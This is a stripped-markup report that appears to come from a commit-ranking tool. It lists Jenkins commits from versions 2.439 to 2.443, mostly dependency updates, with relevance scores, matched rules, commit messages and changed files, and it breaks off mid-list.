    + Bump org.glassfish.tyrus.bundles:tyrus-standalone-client-jdk from... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 76d4e1eed426a39e327c31dbd8c5ccf607b74928 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8875
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.glassfish.tyrus.bundles:tyrus-standalone-client-jdk from 2.1.4 to 2.1.5 (#8875) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + cli/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency sortablejs to v1.15.2 (#8871) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 5b364bc022c51914bb2fb3e279d486085c53e0fd +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8871
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency sortablejs to v1.15.2 (#8871) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency prettier to v3.2.4 (#8892) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + d480a76706f3b7f77effc106549795fe8c994355 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8892
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency prettier to v3.2.4 (#8892) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/.babelrc + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency stylelint to v16.2.0 (#8886) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + d982cad688a11e2a4038e3818103de25fc5153a9 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8886
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency stylelint to v16.2.0 (#8886) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency sass to v1.70.0 (#8883) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 702d2f206330f43297654413e5df3d4bc73c1fd0 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8883
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency sass to v1.70.0 (#8883) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency css-loader to v6.9.1 (#8885) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 8f955329ba92e57137ce8cc237d9fcd5ed1ce70d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8885
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency css-loader to v6.9.1 (#8885) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency css-minimizer-webpack-plugin to v6 (#8882)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 448eccd0d3bc42d5e107c6e5c4b9e6aafb9ac613 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8882
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency css-minimizer-webpack-plugin to v6 (#8882) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency postcss-loader to v8 (#8880) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 178b79035e26e8d2c20d784b05866a289183fab4 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8880
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency postcss-loader to v8 (#8880) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency sass-loader to v14 (#8877) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + f63866ea9a16d2ed79df3ad0a02c219cdfd18d25 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8877
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency sass-loader to v14 (#8877) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.jenkins-ci.plugins:structs from 325.vcb_307d2a_2782 to... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 788d93b49692bcb0b686c519f122a1f73f0b4ad6 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8876
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.jenkins-ci.plugins:structs from 325.vcb_307d2a_2782 to 337.v1b_04ea_4df7c8 (#8876) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency prettier to v3.2.1 (#8868) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + f6febb1cabfbe0b636861f5d688514dc49493169 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8868
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency prettier to v3.2.1 (#8868) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Tim Jacomb <timjacomb1@gmail.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/.babelrc + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.jenkins-ci.plugins:junit from 1252.vfc2e5efa_294f to... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.443 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9f8d343f057e3f3ea988684b9dab509d64999a20 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8869
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.jenkins-ci.plugins:junit from 1252.vfc2e5efa_294f to 1256.v002534a_5f33e (#8869) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency mini-css-extract-plugin to v2.7.7 (#8865)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.441 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 7a93bc5c9da4db554531195c37e9dad8415280c0 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8865
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency mini-css-extract-plugin to v2.7.7 (#8865) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72543] Fix permission check in script console view (#8858)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.441 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 48661db9d1dad55af5300d3783b2834a7b15c41f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8858
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72543] Fix permission check in script console view (#8858) Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com> Co-authored-by: Alexander Brandes <mc.cache@web.de>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/lib/hudson/scriptConsole.jelly + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency lit to v3.1.1 (#8863) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.441 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 6f6d99af8426c1c5878a210eb38836c7b41c3363 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8863
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency lit to v3.1.1 (#8863) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/site/site.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Rely on parent pom spotbugs configuration (#8855) Rely on spotbugs... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.441 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + d36cf82d91b7a58fa6e1150ad5da90791beed339 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8855
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Rely on parent pom spotbugs configuration (#8855) Rely on spotbugs configuration from parent pom Removes the 81c3249ca0e6bcc69e1caa2e6828ec6c8c0884cd workaround that was added in pull request https://github.com/jenkinsci/jenkins/pull/8803
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency css-loader to v6.9.0 (#8862) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.441 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 7540c95767604c1d1ae0226bc8f086aa733fa2eb +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8862
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency css-loader to v6.9.0 (#8862) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency style-loader to v3.3.4 (#8861) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.441 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + e7e673d691bb0897db211ea4cdf4a22ab0f3f711 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8861
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency style-loader to v3.3.4 (#8861) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + do not generate td when outside table for buildbutton (#8854)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.441 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 53f7e40b198aa34b0089a325eca372aa1e216131 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8854
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      do not generate td when outside table for buildbutton (#8854) projectView renders a buildButton twice once inside a table for wide screens and once outside a table for narrow or mobile screens with one always hidden. But the buildButton always wraps everything in a `td`. When projectView is now itself wrapped somewhere in a table (was done in dashboard-view plugin) then the brwoser will move the `td` to the outer table and it gets always shown and breaks the UI.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/hudson/views/BuildButtonColumn/column.jelly + + core/src/main/resources/lib/hudson/projectView.jelly + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Increase memory for war assembly (#8856) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.441 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + dd7488bc9062afe514254652ec8e4a29843fb125 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8856
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Increase memory for war assembly (#8856)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .mvn/jvm.config + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-66530] Change focus in the 'new item' page only if 'from'... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.441 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 214f042834a0cd3888037c791cec4783767bd931 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8807
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-66530] Change focus in the 'new item' page only if 'from' has a valid job name (#8807) * JENKINS-66530: setTimeout/focus switch to 'name' only if field 'from' points to a valid job name * yarn prettier for add-item.js
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/src/main/js/add-item.js + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency @babel/preset-env to v7.23.8 (#8859)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.441 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 7ed8c33d04c732c623fc0309db10442c7f2a83f1 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8859
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency @babel/preset-env to v7.23.8 (#8859) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump SLF4J from 2.0.10 to 2.0.11 (#8846) Signed-off-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.440 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 5da5ac7e62568908fa29ff8265c696cc6e4c7032 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8846
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump SLF4J from 2.0.10 to 2.0.11 (#8846) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + bom/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.jenkins-ci.main:remoting from 3203.v94ce994fdb_31 to... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.440 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9865a3580b82f465280a83c777400c3ec3c060a6 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8847
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.jenkins-ci.main:remoting from 3203.v94ce994fdb_31 to 3206.vb_15dcf73f6a_9 (#8847) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency postcss to v8.4.33 (#8841) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.440 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 004e72746a2732be97263c9a6099bc870f3dbe6c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8841
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency postcss to v8.4.33 (#8841) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.jenkins-ci.main:remoting from 3198.v03a_401881f3e to... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.440 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 1eb29a879216fa7418724d08d5e9ed212ecd0709 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8836
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.jenkins-ci.main:remoting from 3198.v03a_401881f3e to 3203.v94ce994fdb_31 (#8836) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Fill in since todo (#8839) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.440 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 50bc384abde662cf395dc6580f94c7e85303377e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8839
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Fill in since todo (#8839)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/ExtensionList.java + + core/src/main/java/hudson/Functions.java + + core/src/main/java/hudson/model/BuildTimelineWidget.java + + core/src/main/java/hudson/model/View.java + + core/src/main/java/hudson/node_monitors/AbstractNodeMonitorDescriptor.java + + core/src/main/java/hudson/node_monitors/DiskSpaceMonitorDescriptor.java + + core/src/main/java/hudson/node_monitors/DiskSpaceMonitorNodeProperty.java + + core/src/main/java/jenkins/console/ConsoleUrlProvider.java + + core/src/main/java/jenkins/console/ConsoleUrlProviderGlobalConfiguration.java + + core/src/main/java/jenkins/console/ConsoleUrlProviderUserProperty.java + + core/src/main/java/jenkins/console/DefaultConsoleUrlProvider.java + + core/src/main/java/jenkins/model/Loadable.java + + core/src/main/java/jenkins/model/PeepholePermalink.java + + core/src/main/java/jenkins/security/FIPS140.java + + core/src/main/java/jenkins/util/DefaultScriptListener.java + + core/src/main/java/jenkins/util/ScriptListener.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency sass to v1.69.7 (#8835) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.440 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 29f3853cb50f4df58f9dcd9af0911a1c621db217 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8835
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency sass to v1.69.7 (#8835) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Mark Waite <mark.earl.waite@gmail.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update XML namespace schemaLocation for incrementals (#8828) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.440 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 425df13fcdcc79ccbee68c92aac439e4515a1e76 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8828
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update XML namespace schemaLocation for incrementals (#8828)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .mvn/extensions.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Add an 'Appearance' category to the wizard (#8822) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.440 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 90b8ed957cfb0d455d00ed36b74e77c59ac9cb5b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8822
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Add an 'Appearance' category to the wizard (#8822)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/jenkins/install/platform-plugins.json + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Uppercase build cancellation message in build queue (#8824) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.440 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + e7ed28f7b4d198ddbff0bebd115bdc0f63e134ce +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8824
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Uppercase build cancellation message in build queue (#8824)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/jenkins/widgets/HistoryPageFilter/queue-items.jelly + + core/src/main/resources/lib/hudson/queue.jelly + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update appearance of controls in header (#8791) * Init * Tidy up *... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.440 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + d75833e5e0e1983cb1c9efec28cf6746e547cab0 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8791
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update appearance of controls in header (#8791) * Init * Tidy up * Update resources.css * Update resources.css * Tidy up * Update resources.css
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/loginLink.jelly + + core/src/main/resources/hudson/security/SecurityRealm/loginLink.jelly + + core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.css + + war/src/main/scss/components/_page-header.scss + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update XML namespace schemaLocation (#8817) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.439 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 4c423d484267cef3bff602a2e58ae7d7634b1a77 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8817
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update XML namespace schemaLocation (#8817)
      +
    • +
    + +
    Changed files in commit
    + +
      +
